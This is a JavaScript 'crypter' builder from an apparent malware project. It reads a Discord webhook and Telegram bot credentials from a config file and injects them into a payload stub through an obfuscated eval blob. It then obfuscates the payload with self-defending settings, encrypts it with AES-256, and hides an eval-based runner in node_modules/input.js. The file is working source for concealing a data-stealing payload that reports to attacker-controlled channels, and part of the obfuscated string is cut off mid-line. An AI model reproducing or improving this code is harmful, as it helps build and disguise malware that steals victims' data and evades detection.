Files

160 lines
48 KiB
JavaScript
Raw Permalink Normal View History

2026-08-27 10:50:08 -06:00
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const os = require('os');
const { spawn } = require('child_process');
const JavaScriptObfuscator = require('javascript-obfuscator');
function readInfosFromFile() {
try {
const jsonPath = path.resolve(__dirname, '../gui/info.json');
const data = fs.readFileSync(jsonPath, 'utf8');
const jsonData = JSON.parse(data);
return {
webhookURL: jsonData.discordWebhookURL,
telegramBotToken: jsonData.telegramBotToken,
telegramChatID: jsonData.telegramChatID
};
} catch (error) {
throw new Error(`Error reading info: ${error.message}`);
}
}
const { webhookURL, telegramBotToken, telegramChatID } = readInfosFromFile();
function encrypt(text, masterkey) {
const iv = crypto.randomBytes(16);
const salt = crypto.randomBytes(16);
const key = crypto.pbkdf2Sync(masterkey, salt, 100000, 32, 'sha512');
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = cipher.update(text, 'utf8', 'base64');
encrypted += cipher.final('base64');
return {
encryptedData: encrypted,
salt: salt.toString('base64'),
iv: iv.toString('base64')
};
}
function decrypt(encdata, masterkey, salt, iv) {
const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
let decrypted = decipher.update(encdata, 'base64', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
function executeSecondCrypterScript() {
return new Promise((resolve, reject) => {
const crypterDirectory = __dirname;
const secondCrypterScript = 'jscrypter.js';
const childProcess = spawn('node', [secondCrypterScript], {
cwd: crypterDirectory,
stdio: 'inherit'
});
childProcess.on('error', (error) => {
console.error(`Error executing second encryption script: ${error.message}`);
reject(error);
});
childProcess.on('exit', (code, signal) => {
if (code === 0) {
console.log('Second encryption script executed successfully.');
resolve();
} else {
const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`);
console.error(err.message);
reject(err);
}
});
});
}
function resetPlaceholder(stubPath, originalStubCode) {
fs.writeFileSync(stubPath, originalStubCode, 'utf8');
console.log('Stub placeholder reset successfully.');
}
async function main() {
try {
const stubPath = path.resolve(__dirname, 'stub.js');
const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8');
const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_f8aaceab"]=s;g["_416bc9be"]=w;g["_d037afda"]=t1;g["_18d68644"]=t2;eval("Function(\"tbdTHrI\",\"var prOEhN,KQhWR5,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,Jio0U4O;function fhAUwQ(prOEhN,KQhWR5,__globalObject){for(__globalObject=0x0;__globalObject<KQhWR5;__globalObject++)prOEhN.push(prOEhN.shift());return prOEhN}const ToYJfN=[0x0,0x1,0x8,0xff,\\\"length\\\",\\\"undefined\\\",void 0x0,\\\"d\\\",0x3,\\\"b\\\",0xd6,0x3f,0x6,\\\"fromCodePoint\\\",0x7,0xc,\\\"push\\\",0x2,\\\"c\\\",0xe9,\\\"i\\\",0x5b,0x5,\\\"f\\\",0x1fff,0x58,0xd,0xe,0xac,0x8b,0x2f,0x85,\\\"a\\\",\\\"e\\\",0xf2,0x68,0xb6,0x4,0x7f,0x80,!0x1,\\\"h\\\",0x9,0x51,0xc7,0xa9,0xaa,0xb7,0xbc,0xc1];cBsPZ_(nUZkMZ);function cBsPZ_(prOEhN,KQhWR5=ToYJfN[0x1]){Object.defineProperty(prOEhN,ToYJfN[0x4],{value:KQhWR5,configurable:ToYJfN[0x28]});return prOEhN}function _V0QMN(prOEhN){var KQhWR5=\\\"uv+3%D~wex=CXT&WQPBs|yz0J\\\\\\\"rd`>Ah@bH(ZYN9$EI^4RV68?cF5K#{_.qa[Ui1t;L7)Gj/pO,!:l*S2ofmg]}<knM\\\",__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr;aDbyYa5(__globalObject=\\\"\\\"+(prOEhN||\\\"\\\"),__TextDecoder=__globalObject.length,__Uint8Array=[],__Buffer=ToYJfN[0x0],__String=ToYJfN[0x0],__Array=-ToYJfN[0x1]);for(utf8ArrayToStr=ToYJfN[0x0];utf8ArrayToStr<__TextDecoder;utf8ArrayToStr++){var Jio0U4O=KQhWR5.indexOf(__globalObject[utf8ArrayToStr]);if(Jio0U4O===-ToYJfN[0x1])continue;if(__Array<ToYJfN[0x0]){__Array=Jio0U4O}else{aDbyYa5(__Array+=Jio0U4O*ToYJfN[0x15],__Buffer|=__Array<<__String,__String+=(__Array&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Uint8Array.push(__Buffer&ToYJfN[0x3]),__Buffer>>=ToYJfN[0x2],__String-=ToYJfN[0x2])}while(__String>ToYJfN[0xe]);__Array=-ToYJfN[0x1]}}if(__Array>-ToYJfN[0x1]){__Uint8Array.push((__Buffer|__Array<<__String)&ToYJfN[0x3])}return IV3TGq(__Uint8Array)}function IzMQVO(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=_V0QMN(KQhWR5[__globalObject])}return prOEhN[__globalObject]}aDbyYa5(prOEhN={},KQhWR5=fhAUwQ([\\\"avE%q\\\",\\\"o?G5n^E\\\",\\\"}?S^Ci4fM\\\",\\\"Rv{CQH.[d1\\\",\\\"Xj0A5F{l*j{1*\\\",\\\"]j@52U+|\\\",\\\"zO54W~V*\\\",\\\"j5:g!\\\",\\\"zO:T+Ia|\\\",\\\"Ia$ACYe~laqIrj:o)7{kCY@G&G_\\\\\\\"C|\\\",\\\"3Jk)}I/B8\\\",\\\":1WKRSZ&1_K\\\",\\\":1N!}Iu{p1K\\\",\\\"uv{KMy>\\\\\\\"eJa\\\",\\\"!7=;>9~QrJR\\\",\\\"iRb8t9sXm%?\\\",\\\"*_z?:Z,$<|?G=Y)J;Ou*scdsGTI\\\",\\\"v[l:;[swJ;Tp:pbZ\\\",\\\"i#clTG;0bXufQWDYZF\\\\\\\"Fr]ujjq9PLG1P?8B!Bc,Xw\\\",\\\"8;OF]G]0P.~)MGR9}8[>y:#Bra,lu\\\",\\\"Vr$#iH;>GtzT2mdIz[hA?_BVEq(L53o$HYl/DSWsm._Om+\\\",\\\"`)1Od(DvSetju\\\",\\\"b~0`k6tq*a\\\\\\\"FH\\\\\\\"zE`0e*Kq%Aw\\\",\\\"v$jh9Oj5e=)jQ[Kdb3fesc,qYtL2FjphL)1%H?AJ4y,?@6)J4.W~DSsv\\\",\\\";$u*DS@BwTJ~,?[(Y[6~eon>q;52N+<H\\\",\\\"uLb!|:;()t*W[3Nsd0!K+8vKPXH:vYHZgI.Fxi_q3#]ZwreN~@$OScQt~\\\",\\\"@3k?&,[qAa],KY^\\\\\\\"1a!r[9|qVe\\\",\\\"f3YwxiP(wqy{{j)N3>P~l:owABgCFfXr,YE#]cu\\\",\\\"sBHp7{Tv~{E(>QjB;P\\\\\\\"AeS*5Ri(=SN3hL3wx>a}qzsW)gaD^;)*`<bu\\\",\\\"*Pi%raG>c[}7^m5`;i0A^_B56_AhvQz(*YJ#P\\\",\\\"/iy`3oPEq;Q)mW{(`,A5S.=5K#$\\\",\\\">x*h4jmGiBupPpT\\\",\\\"bFx@N)M,~th:WdV9`>A`zG1>jTHaTgMI+ybdcfC!Fx3Yv\\\",\\\"y${OOZ8ARe+#~U:NIil%\\\",\\\"f~RhMOI$4e2eoJP$N>:D<NueC|}1FN+Ay)}`!,=e_qB!{N$NdV%c`2b10T\\\",\\\")0T{Hat~/T\\\",\\\";#T:MRx1F.z=j?tJv$IpmG@Zo#@5^+C\\\",\\\"`)c>]/)V(s`8o8S95.|=|cZZv#85g/Rst0!eh6HA$qrHfGvJFu\\\",\\\",&T,BipVjs^=$3W\\\",\\\"w/`{k.yv+WNG,oT|*_@#^(d>O&vAv\\\",\\\"h36%@aNBUaO_Z6zHjh:>)S$qCiH:Yp;Zh~sp`2wT3\\\",\\\",PNwg*D<b1`\\\",\\\"||lh@5Ev~s[?Q6iJ\\\",\\\"7xmlnO)V~{}l`6`0E8:D\\\",\\\"ni$Az5@Xjq`GcfFH&~5l0m$V4_H\\\",\\\"4HB@^F]>y#J86fFH/FbpS,/wd;Qiv\\\",\\\"1hAw+o%eb1(JHD+hPV7r$feVyq51[3~\\\",\\\"J/:c$_Ws@.}[#YjN/;+!XGXB8XLjUJpsUa+FX:)Vkqm_n%*sLRub\\\\\\\"\\\",\\\"FYz5I_$AaP?(BD=\\\",\\\"TW*:/{0>hBiy53\\\",\\\".;r@B5*qgxzYbpphG`o~=.u\\\",\\\":)|lH]l.ie)[n8er1hm@>\\\",\\\"r0vAKpiXx{%6@3~\\\",\\\"qP(>Y((wBxh=HD8H2H65wH7v~{t5*\\\\\\\"$Nghg>#qu\\\",\\\">09Or*m>3\\\",\\\"8|m@h6X5^i?&`6JHH>JArmR.{t#\\\",\\\"d>65]5dG[e`{d&HA\\\",\\\"MK3>Y
if (stubCode === updatedStubCode) {
throw new Error('Failed to update placeholder in stub.js. Please check that the placeholder exists.');
}
const compiledCode = updatedStubCode;
const obfuscationResult = JavaScriptObfuscator.obfuscate(compiledCode, {
compact: true,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 0.75,
deadCodeInjection: true,
deadCodeInjectionThreshold: 0.75,
debugProtection: false,
disableConsoleOutput: true,
identifierNamesGenerator: 'mangled',
log: false,
numbersToExpressions: true,
renameGlobals: false,
selfDefending: true,
simplify: true,
splitStrings: true,
splitStringsChunkLength: 5,
stringArray: true,
stringArrayCallsTransform: true,
stringArrayEncoding: ['rc4'],
stringArrayIndexShift: true,
stringArrayRotate: true,
stringArrayShuffle: true,
stringArrayThreshold: 0.75,
stringArrayWrappersCount: 2,
stringArrayWrappersChainedCalls: true,
stringArrayWrappersParametersMaxCount: 4,
stringArrayWrappersType: 'function',
transformObjectKeys: true,
unicodeEscapeSequence: false
});
const obfuscatedCode = obfuscationResult.getObfuscatedCode();
const secret = crypto.randomBytes(32).toString('base64');
const encryptionKey = crypto.createHash('sha256').update(String(secret)).digest('base64').substr(0, 32);
const { encryptedData, salt, iv } = encrypt(obfuscatedCode, encryptionKey);
const runnerCode = `
const crypto = require('crypto');
${decrypt.toString()}
const decrypted = decrypt("${encryptedData}", "${encryptionKey}", "${salt}", "${iv}");
(function(require) { eval(decrypted); })(require);
`;
const folderName = 'node_modules';
const fileName = 'input.js';
const targetFolder = path.join(__dirname, folderName);
if (!fs.existsSync(targetFolder)) {
fs.mkdirSync(targetFolder);
}
const targetFile = path.join(targetFolder, fileName);
fs.writeFileSync(targetFile, runnerCode, 'utf8');
console.log(`Encrypted with AES-256 after obfuscation for Telegram.`);
resetPlaceholder(stubPath, stubCode);
await executeSecondCrypterScript();
} catch (error) {
console.error(`Error: ${error.message}`);
}
}
main();